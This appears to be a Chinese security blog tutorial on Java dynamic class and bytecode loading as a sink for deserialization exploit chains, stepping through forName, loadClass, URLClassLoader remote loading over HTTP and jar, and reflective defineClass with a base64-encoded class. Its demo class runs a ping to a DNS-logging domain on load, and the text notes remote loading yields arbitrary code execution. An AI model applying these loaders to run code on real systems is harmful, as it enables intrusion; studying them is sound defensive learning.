前言
七七八八也学了不少链子,都是很固定 🧷 的套路EntryClass-->gadget-->sink
,目前 sink 这个点还只是单一的命令执行,能力是十分有限的,例如现在有需要回显,注入内存 shell 等场景,单凭一个Runtime.getRuntime().exec("xxx");
它是很难去做到的,而动态加载字节码技术就是来解决这个问题的,把 sink 能造成的危害无限扩大。
调试代码
会遇到一些新名词,例如AppClassLoader
、URLClassLoader
、ClassLoader#defineClass
等等,写几个 demo 调试一下,看看这些新名词的真面目。
1.首先还是回到 forname 函数,它是动态类加载的一种实现方式。
写一个 DNS 类,如下–>
import java.io.IOException;
public class DNS {
static{
try {
Runtime.getRuntime().exec("ping 6y7d5.cxsys.spacestabs.top");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
写一个 Loader 类去加载它–>
public class Loader {
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName("DNS");
}
}
此时执行 main 函数后,命令被成功的执行,结果如下–>
在Class<?> clazz = Class.forName("DNS");
处下断点调试,跟到 forName 函数里面它实际上是去继续调用了 forName0 函数
它四个参数:className 只是一个字符串、true 代表该类要初始化、剩下两个参数全和 caller 有关,它的具体信息如下–>
而ClassLoader.getClassLoader(caller)
的返回值就是上图中框中的Launcher$AppClassLoader
,它是Launcher
类的一个内部类。现在将它提到函数外,用 forname 的另一个重载函数去加载 DNS 类,如下–>
public class Loader {
public static void main(String[] args) throws Exception {
ClassLoader loader = Loader.class.getClassLoader();
Class<?> clazz = Class.forName("DNS", true, loader);
}
}
Tips:Loader.class.getClassLoader();
的结果就是Launcher$AppClassLoader
,AppClassLoader(应用程序类加载器)是面向用户的加载器,负责加载当前应用 classpath 下的所有 jar 包和类。
说到底 forname 函数其中还是主要靠这个 ClassLoader,类的加载主要靠的是 ClassLoader,当然可以用 forname 去加载一个恶意类,但 forname 实在是被封装的太多了(封装的越多、功能越精确、漏洞利用的可能性反而会降低),真实情况下怎么可能被当作一个 sink?接下来将 demo 写的更底层一点。
2.利用 ClassLoader.loadClass()函数去加载 DNS 类,如下–>
public class Loader {
public static void main(String[] args) throws Exception {
ClassLoader loader = Loader.class.getClassLoader();
loader.loadClass("DNS");
}
}
此时执行 main 函数后,命令没有被成功执行,证明用 ClassLoader.loadClass()去加载一个类,它默认是不会去初始化这个类的,相当于Class<?> clazz = Class.forName("DNS", false, loader);
,得显式地调用其构造
函数,初始化代码才能被执行,如下–>
public class Loader {
public static void main(String[] args) throws Exception {
ClassLoader loader = Loader.class.getClassLoader();
Class<?> dns = loader.loadClass("DNS");
dns.newInstance();
}
}
下断点调试一下,跟到 loadClass 函数,由于 loader 是Launcher$AppClassLoader
,所以在经历了 loadClass 函数的初始化后,会进入到Launcher$AppClassLoader.loadClass
函数,如下–>
而Launcher$AppClassLoader.loadClass
最后还是去调用了它父类 URLClassLoader 的 loadClass 函数,如下–>
父类的内部类 FactoryURLClassLoader 有一个 loadClass,父类并没有 loadClass 函数,所以会去 URLClassLoader 的父类 SecureClassLoader 去找 loadClass 函数,它同样没有,再去 SecureClassLoader 的父类 ClassLoader 去找,最终调用到了ClassLoader.loadClass
函数,如下–>
而ClassLoader.loadClass
函数的内部逻辑是双亲委派模型,上文提到的 AppClassLoader 就是双亲委派模型中的一种类加载器,同样的还有两种类加载器分别是:ExtensionClassLoader、BootstrapClassLoader。除了这三种类加载器之外,用户还可以加入自定义的类加载器来进行拓展,以满足自己的特殊需求。就比如说,可以对 Java 类的字节码( .class 文件)进行加密,加载时再利用自定义的类加载器对其解密。类加载的工作过程如下–>
在双亲委派模型中,代码接下来会一层层的向上找,从 AppClassLoader 到 ExtensionClassLoader 到 BootstrapClassLoader,检查是否加载过 DNS 类,由于是第一次肯定是没有被加载过的,然后在自上而下的尝试去加载类,由于在 demo 代码中,DNS 类是自己实现的类所以会在 AppClassLoader 中去加载这个类,见下图–>
Tips:不是在 AppClassLoader 中去尝试加载的类吗?为何会在 URLClassLoader 中去尝试加载呢?因为 APPClassLoader 中没有 findClass 这个函数,而 URLClassLoader 是它的父类,所以便到了 URLClassLoader 的 findClass 函数,去发现类并尝试加载类。其实 ExtensionClassLoader 也是一样的,同样是走的 URLClassLoader 的 findClass 函数,只不过它的Resource res = ucp.getResource(path, false);
这一行代码运行结果为 null,AppClassLoader 的运行结果不为 null。
接着就是到 URLClassLoader 类的defineClass(name, res);
函数中–>
而它的最后会调用一个重载的 defineClass 函数,也就是它父类的 defineClass 函数如下–>
而 SecureClassLoader 类又会调用到它父类 ClassLoader 的 defineClass 函数,如下–>
最终去调用了 defineClass1 函数,它是一个 native 的方法,整个调用栈如下–>
至此 DNS 类加载完成!
取其精华
调试 loadClass 函数的整个过程费了不少功夫,梳理一下其中的关系–>
其中精华就是关键的三个函数,loadClass 函数、findClass 函数、defineClass 函数,上述 demo 已经用 loadClass 函数去加载了 DNS 类,除了它当然还可以用其他两个函数去加载类–>利用 URLClassLoader 加载远程 class 文件和利用 ClassLoader#defineClass 直接加载字节码。
利用 URLClassLoader 加载远程 class 文件
URLClassLoader 的 findClass 函数不能直接调用,只能通过 loadClass 函数去加载,此时不仅仅是可以加载本地路径的类,还可以通过协议去远程加载类。
1.file 协议加载 class 文件,代码如下–>
import java.net.URL;
import java.net.URLClassLoader;
public class Loader {
public static void main(String[] args) throws Exception {
URL[] urls = {new URL("file:///E:\\")};
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class c = urlClassLoader.loadClass("DNS");
c.newInstance();
}
}
2.HTTP 协议加载 class 文件,其中在 E 盘根目录用 python 起一个 http 服务即可,代码如下–>
import java.net.URL;
import java.net.URLClassLoader;
public class Loader {
public static void main(String[] args) throws Exception {
URL[] urls = {new URL("http://localhost:8000/")};
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class c = urlClassLoader.loadClass("DNS");
c.newInstance();
}
}
3.file+jar 协议,在原目录运行jar -cvf DNS.jar DNS.class
,接着复制到 E 盘,书写一个 Loader 类去加载,代码如下–>
import java.net.URL;
import java.net.URLClassLoader;
public class Loader {
public static void main(String[] args) throws Exception {
URL[] urls = {new URL("jar:file:///E:\\DNS.jar!/")};
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class c = urlClassLoader.loadClass("DNS");
c.newInstance();
}
}
4.同样的 HTTP + jar 协议,代码如下–>
import java.net.URL;
import java.net.URLClassLoader;
public class Loader {
public static void main(String[] args) throws Exception {
URL[] urls = {new URL("jar:http://localhost:8000/DNS.jar!/")};
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class c = urlClassLoader.loadClass("DNS");
c.newInstance();
}
}
以上的四个 demo 均可以触发 DNS 请求,如下–>
最好用的肯定是 Http 协议的加载,如果能够控制目标 Java ClassLoader 的基础路径为一个 http 服务器,则可以利 用远程加载的方式执行任意代码!
利用 ClassLoader#defineClass 直接加载字节码
看 defineClass 函数的参数,name 为类名,b 为字节码数组,off 为偏移量,len 为字节码数组的长度,详情 🔎 如下–>
ClassLoader 是抽象类,没有办法实例化,所以只能用它的子类来实例化,这里用 AppClassLoader 来实例化。defineClass 是 private 的,则只能反射调用。代码如下–>
import java.lang.reflect.Method;
import java.util.Base64;
public class Loader {
public static void main(String[] args) throws Exception {
ClassLoader appClassLoader = Loader.class.getClassLoader();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class,
byte[].class,
int.class,
int.class
);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMRE5TOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAIRE5TLmphdmEMAAoACwcAIgwAIwAkAQAfcGluZyA2eTdkNS5jeHN5cy5zcGFjZXN0YWJzLnRvcAwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBAANETlMBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAMADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAYACQAJAAwABwANAAgAFgAKAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=");
Class hello = (Class)defineClass.invoke(appClassLoader, "DNS", code, 0, code.length);
hello.newInstance();
}
}
Tips:其中 code 的数据可以用cat DNS.class | base64
来生成。
成功触发 DNS 请求,如下–>
至此,动态加载字节码技术完毕!